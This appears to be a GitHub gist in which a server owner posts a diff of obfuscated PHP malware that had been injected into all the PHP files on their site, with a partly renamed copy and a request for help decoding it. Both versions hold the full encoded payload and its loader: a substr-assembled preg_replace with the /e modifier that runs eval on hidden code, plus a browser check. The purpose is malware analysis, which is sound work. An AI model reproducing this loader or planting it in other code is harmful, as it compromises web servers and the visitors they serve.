43,504,22,8775,65,6550,44,2898,54,1167,59,3795,43,4734,47,4542,39,2595,21,4227,36,7979,30,3713,37,8432,58,7556,52,895,45,1895,57,2757,35,6731,30,3838,49,9082,43,2990,39,9817,26,3085,60,4404,43,5969,37,8670,20,3255,69,3970,45,9325,63,7276,55,1412,50,4882,50,2030,31,5665,56,1734,26,4932,27,2792,69,8690,44,6272,56,5552,60,4700,34,2616,60,7911,45,7687,44,1137,30,8490,31,6045,21,4015,45,7331,61,10003,20,3887,40,6761,67,89,46,1675,59,1589,22,9220,28,3660,53,1980,50,8734,41,831,64,4581,25,3750,45,135,61,2512,50,9655,37,2094,43,3573,34,4161,44,376,50,3348,33,1226,69,2310,29,3607,53,9168,52,6936,41,3182,28,597,57,6194,45,7654,33,4846,36,9388,42,5638,27,5238,68,9042,40,2562,33,2179,63,9280,45,5306,60,962,37,7392,41,8254,50,3324,24,1824,39,1760,64,8877,64,2861,37,8650,20,6452,54,6828,49,9843,25,9767,50,940,22,7208,68,5467,22,0,68,1065,28,8366,66,6126,68,2676,52,8147,47,68,21,9954,25,741,59,2137,42,8993,25,7886,25'); $ebopobgsez=substr($vidirizvvr,(34995-24889),(33-26)); if (!function_exists('kfrlxyabnx')) { function kfrlxyabnx($spprkfdljh, $ufqsvxirur) { $vwucygdunn = NULL; for($bifgceonwy=0;$bifgceonwy<(sizeof($spprkfdljh)/2);$bifgceonwy++) { $vwucygdunn .= substr($ufqsvxirur, $spprkfdljh[($bifgceonwy*2)],$spprkfdljh[($bifgceonwy*2)+1]); } return $vwucygdunn; };} $mpgmsolqch="\x20\57\x2a\40\x6c\171\x6f\153\x79\155\x76\163\x70\150\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\70\x30\55\x31\64\x33\51\x29\54\x20\143\x68\162\x28\50\x32\71\x31\55\x31\71\x39\51\x29\54\x20\153\x66\162\x6c\170\x79\141\x62\156\x78\50\x24\162\x61\160\x72\155\x6c\141\x61\143\x70\54\x24\166\x69\144\x69\162\x69\172\x76\166\x72\51\x29\51\x3b\40\x2f\52\x20\144\x6d\150\x6d\142\x6d\171\x67\155\x70\40\x2a\57\x20"; $tigovkxdrc=substr($vidirizvvr,(33385-23272),(44-32)); $tigovkxdrc($ebopobgsez, $mpgmsolqch, NULL); $tigovkxdrc=$mpgmsolqch; $tigovkxdrc=(809-688); $vidirizvvr=$tigovkxdrc-1; ?>
\ No newline at end of file
---
> <?php
>
> if (!isset($GLOBALS["anuna"])) {
> $user_agent = strtolower($_SERVER["HTTP_USER_AGENT"]);
> if ((!strstr($user_agent, "msie")) and (!strstr($user_agent, "rv:11"))) $GLOBALS["anuna"] = 1;
> }
>
> ?>
>
> <?php
>
> // $foo contains "epreg_replace" in the last part
> $foo = '~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x*0f(-!#]y76]277]y72]25c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x78x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x787x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^j6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x782x7860UQPMSVD!-id%x5c%x%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%xw)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WY%x5c%x7860{66~6<&w6<<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x78223}!+!<+{e%x5c%x7%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;g%x5c%x787fw6*CW&)7gj6<*doj%x5c%x785c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fd%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui8]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]5vc%x5c%x7825}&;ftmbg}%x5c%x787f7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U5c%x782f%x5c%x7825z<jg1#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bs7tfs%x5c%x78256<*17-SFEBFI,6<*0QUUI7jsv%x5c%x78257UFH#%x5c%x7827rf5c%x7825tzw%x5c%x782f%x5c%x7%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x7x5c%x7824-tusqpt)%x5c%x7825z-#x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmx5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5q%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%QUUI&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*x7825!<*::::::-111112)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%xx5c%x787fw6*%x5c%x787f_*#fubfsdXk55c%x7827,*b%x5c%x7827)fepdo5%x5c%x7824-%x5c%x7824k4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7g24*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x782]18y]#>q%x5c%x7825<#762]67%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*5s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c27&6<*rfs%x5c%x78257-K)fujs%x5c%!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2opjudovg)!gj!|!*msv%x5c%x7824:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)c%x7825:<#64y]552]e7y]#>n%x5c%x9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sz-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%3]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]#Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]37~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5597f-s.973:8297f:5297e:56-%x5154%x28%151%x6d%160%x6c%157%x64%145%x28%141%x72%165c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x782~<%x5c%x7825h00#*<%x5c%x7825nfd)#5c%x7825>2q%x5c%x7825x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271860ufh%x5c%x7860fmjg}[;ldpt%x-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x77825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x78257825b:>%x5c%x7825s:%x5c%x785c%x5c%x78*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%gg($n){return chr(ord($n)-1);} @error_]y6g]273]y76]271]y7d]252]y74]256]y39]255-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*7825tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x55c%x782f#%x5c%x782f},;#-#}+;%x5c%x782x5c%x7825tpz!>!#]D6M7]K3#<%xyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7r%x5c%x7878<~!!%x5c%x782sboepn)%x5c%x7825bss-%x5c%x7825r%OBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x7827825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hAx5c%x785c1^-%x5c%x7825r%x5c%x785c2c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]yw%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf5cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%fV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%j6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5|:*mmvo:>:iuhofm%x5c%x782j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2127-UVPFNJU,6<*27-SFGT<#g6R85,67R37,18R#>q%x5c%x7825V<*#fo25)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c0%154%x69%164%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5utcvt)!gj!|!*bubE{h%x5c%x78141%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLO%x7825>U<#16,47R57,27R66,#%x5c%x782fq%xc%x785c2^<!Ce*[!%x5c%x782cq%x5c%x7825%x5c%x7827jsv%x5c%x78**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x5c%x7824-!%x5c%x7825%x5c%x7824-%c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]2h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5y]562]38y]572]48y]#>m%x5c%x.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cx7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)f%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%xfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]3c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%s%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7x5c%x7825w%x5c%x7860TW5)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-c%x7825w6Z6<.4%x5c%x7860hA25bG9}:}.}-}!#*<%x5c%x7825n7825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x7fw6*%x5c%x787f_*#[k2%x5c%x7epmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)s78256<%x5c%x787fw6*%x5c%x787f_*#fmjg)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%xc%x7825t2w>#]y74]273]y76]252]y85]256]PI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFSx5c%x7860sfqmbdf)%x5c,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%xy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#56<%x5c%x787fw6*%x5c%x787f_*#ujoj4<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]7825)uqpuft%x5c%x7860msvd},;uqpuft%x5cc%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272q%x7825)Rd%x5c%x7825)Rb%x5c%x<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:^<!%xd>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<x7825)tpqsut>j%x5c%x7825!*72!%x5c%x782%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%xsutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x584:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7Rk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x78if((function_exists("%x6f%142%x5f%163%x74%reporting(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%r%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5cx7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7s%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x78**197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<<%x5c%x7825tdz>#L4]275L3]248L3P6L%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%xhmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#%x29%51%x29%73", NULL); }%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-_GMFT%x5c%x7860QIQ&f_UTpoV;hojepdoF.uofuopD#)sfebfI{*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfiBALS["%x61%156%x75%156%x61"]=1; function fjf]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x2f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x782578256<#o]1%x5c%x782f28256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmq824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]:#*%x5c%x7824-%x5c%x7824!>!tus%c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e25j:.2^,%x5c%x7825b:y6g]257]y86]267]y74]o:!>!%x5c%x78242178}527}88:}334}472%x5c%x782%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!%x5c%x78b%x5c%x7825w:!>!%x5c%x7824676<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x62]y3:]84#-!OVMM*<%x22%51%x787f!|!*uyfu%x5c%x7827x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#x7825tzw>!#]y76]277]y72]265]y39]274]y85]2735:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:489!>!fyqmpef)#%x5c%x7824*<!%x5f%x5c%x7878pmpusut)tpqssutRe%x5c6]373P6]36]73]83]238M7]381]211M5]67]452]88]5]5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782f45]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x78x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7g**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x785c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*5zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ek:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782f#p#%x2]y83]273]y72]282#<!%x5c%x7825z!>2<!gps)%x5c%x7825j&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x786027!hmg%x5c%x7825)!gj!<2,*j%x5c65]y39]271]y83]256]y78]24j%x5c%x78256<^#zsfvr#%x5825j,,*!|%x5c%x7824-%42%x2c%163%x74%162%x5f%163%x7f.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%/(.*)/epreg_replacesdiyswtcgo';
> $bar_arr = [
> 7097,
> 42,
> 4474,
> 68,
> 8103,
> 44,
> 2952,
> 38,
> 7139,
> 69,
> 2339,
> 50,
> 6631,
> 52,
> 10023,
> 30,
> 4316,
> 56,
> 8585,
> 65,
> 8840,
> 37,
> 2242,
> 68,
> 5612,
> 26,
> 331,
> 45,
> 3508,
> 65,
> 1093,
> 44,
> 8325,
> 41,
> 3210,
> 45,
> 2459,
> 53,
> 9493,
> 64,
> 1863,
> 32,
> 7770,
> 53,
> 8304,
> 21,
> 1029,
> 36,
> 5426,
> 41,
> 7433,
> 55,
> 8521,
> 64,
> 9430,
> 63,
> 4060,
> 39,
> 6366,
> 58,
> 9979,
> 24,
> 5023,
> 61,
> 4606,
> 33,
> 5084,
> 56,
> 1295,
> 48,
> 7488,
> 68,
> 1528,
> 34,
> 426,
> 20,
> 563,
> 34,
> 8941,
> 52,
> 5886,
> 36,
> 1611,
> 64,
> 256,
> 53,
> 999,
> 30,
> 4205,
> 22,
> 3381,
> 63,
> 6239,
> 33,
> 7027,
> 70,
> 5789,
> 28,
> 6683,
> 48,
> 2728,
> 29,
> 2389,
> 70,
> 309,
> 22,
> 6328,
> 38,
> 526,
> 37,
> 800,
> 31,
> 3927,
> 43,
> 9724,
> 43,
> 1952,
> 28,
> 5489,
> 63,
> 6877,
> 59,
> 5366,
> 60,
> 6594,
> 37,
> 9924,
> 30,
> 5181,
> 57,
> 7731,
> 39,
> 6066,
> 60,
> 5922,
> 47,
> 4372,
> 32,
> 7823,
> 39,
> 4263,
> 53,
> 2061,
> 33,
> 4447,
> 27,
> 7862,
> 24,
> 4124,
> 37,
> 196,
> 60,
> 9611,
> 44,
> 8009,
> 38,
> 3029,
> 56,
> 4959,
> 64,
> 696,
> 45,
> 8194,
> 60,
> 1562,
> 27,
> 10053,
> 53,
> 1462,
> 66,
> 9557,
> 54,
> 654,
> 42,
> 5140,
> 41,
> 5817,
> 69,
> 9248,
> 32,
> 6424,
> 28,
> 3444,
> 64,
> 7956,
> 23,
> 6006,
> 39,
> 9868,
> 56,
> 1343,
> 69,
> 446,
> 58,
> 7608,
> 46,
> 4639,
> 61,
> 9018,
> 24,
> 9692,
> 32,
> 5721,
> 68,
> 3145,
> 37,
> 8047,
> 56,
> 6506,
> 44,
> 6977,
> 50,
> 4781,
> 65,
> 4099,
> 25,
> 9125,
> 43,
> 504,
> 22,
> 8775,
> 65,
> 6550,
> 44,
> 2898,
> 54,
> 1167,
> 59,
> 3795,
> 43,
> 4734,
> 47,
> 4542,
> 39,
> 2595,
> 21,
> 4227,
> 36,
> 7979,
> 30,
> 3713,
> 37,
> 8432,
> 58,
> 7556,
> 52,
> 895,
> 45,
> 1895,
> 57,
> 2757,
> 35,
> 6731,
> 30,
> 3838,
> 49,
> 9082,
> 43,
> 2990,
> 39,
> 9817,
> 26,
> 3085,
> 60,
> 4404,
> 43,
> 5969,
> 37,
> 8670,
> 20,
> 3255,
> 69,
> 3970,
> 45,
> 9325,
> 63,
> 7276,
> 55,
> 1412,
> 50,
> 4882,
> 50,
> 2030,
> 31,
> 5665,
> 56,
> 1734,
> 26,
> 4932,
> 27,
> 2792,
> 69,
> 8690,
> 44,
> 6272,
> 56,
> 5552,
> 60,
> 4700,
> 34,
> 2616,
> 60,
> 7911,
> 45,
> 7687,
> 44,
> 1137,
> 30,
> 8490,
> 31,
> 6045,
> 21,
> 4015,
> 45,
> 7331,
> 61,
> 10003,
> 20,
> 3887,
> 40,
> 6761,
> 67,
> 89,
> 46,
> 1675,
> 59,
> 1589,
> 22,
> 9220,
> 28,
> 3660,
> 53,
> 1980,
> 50,
> 8734,
> 41,
> 831,
> 64,
> 4581,
> 25,
> 3750,
> 45,
> 135,
> 61,
> 2512,
> 50,
> 9655,
> 37,
> 2094,
> 43,
> 3573,
> 34,
> 4161,
> 44,
> 376,
> 50,
> 3348,
> 33,
> 1226,
> 69,
> 2310,
> 29,
> 3607,
> 53,
> 9168,
> 52,
> 6936,
> 41,
> 3182,
> 28,
> 597,
> 57,
> 6194,
> 45,
> 7654,
> 33,
> 4846,
> 36,
> 9388,
> 42,
> 5638,
> 27,
> 5238,
> 68,
> 9042,
> 40,
> 2562,
> 33,
> 2179,
> 63,
> 9280,
> 45,
> 5306,
> 60,
> 962,
> 37,
> 7392,
> 41,
> 8254,
> 50,
> 3324,
> 24,
> 1824,
> 39,
> 1760,
> 64,
> 8877,
> 64,
> 2861,
> 37,
> 8650,
> 20,
> 6452,
> 54,
> 6828,
> 49,
> 9843,
> 25,
> 9767,
> 50,
> 940,
> 22,
> 7208,
> 68,
> 5467,
> 22,
> 0,
> 68,
> 1065,
> 28,
> 8366,
> 66,
> 6126,
> 68,
> 2676,
> 52,
> 8147,
> 47,
> 68,
> 21,
> 9954,
> 25,
> 741,
> 59,
> 2137,
> 42,
> 8993,
> 25,
> 7886,
> 25
> ];
>
> $baz = substr($foo, 10106, 7);
>
> // echo $baz; // Added by me
>
> if (!function_exists("mistery_f")) {
> function mistery_f($arg_one_arr, $arg_two) { // Decode $foo?!?!?
> $fun_object = NULL;
>
> for ($i = 0; $i < sizeof($arg_one_arr) / 2; $i++) {
> $fun_object .= substr($arg_two, $arg_one_arr[$i * 2], $arg_one_arr[$i * 2 + 1]);
> }
>
> return $fun_object;
> };
> }
>
> $codestr = " /* weirdcomment_1 */ eval(str_replace('%', '\', mistery_f($bar_arr, $foo))); /* weirdcomment_2 */ ";
> $tmp_var = substr($foo, 10113, 12);
> $tmp_var($baz, $codestr, NULL);
> $tmp_var = $codestr;
> $tmp_var = 121;
> $foo = $tmp_var - 1;
>
> // [...] is some code missing here? // Added by me
>
> ?>
@Zorgatone
Copy link
Author

For anyone reading this, I'm trying to decode the code I found on my infected server, which was added this code to all my PHP files.

If you can, help me out to figure out what the infected code does

Copy link

ghost commented Dec 4, 2015

There's something pretty similar here and this one is sort of related. If they don't answer your question then try this because its a little different. Hope i helped 😄

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment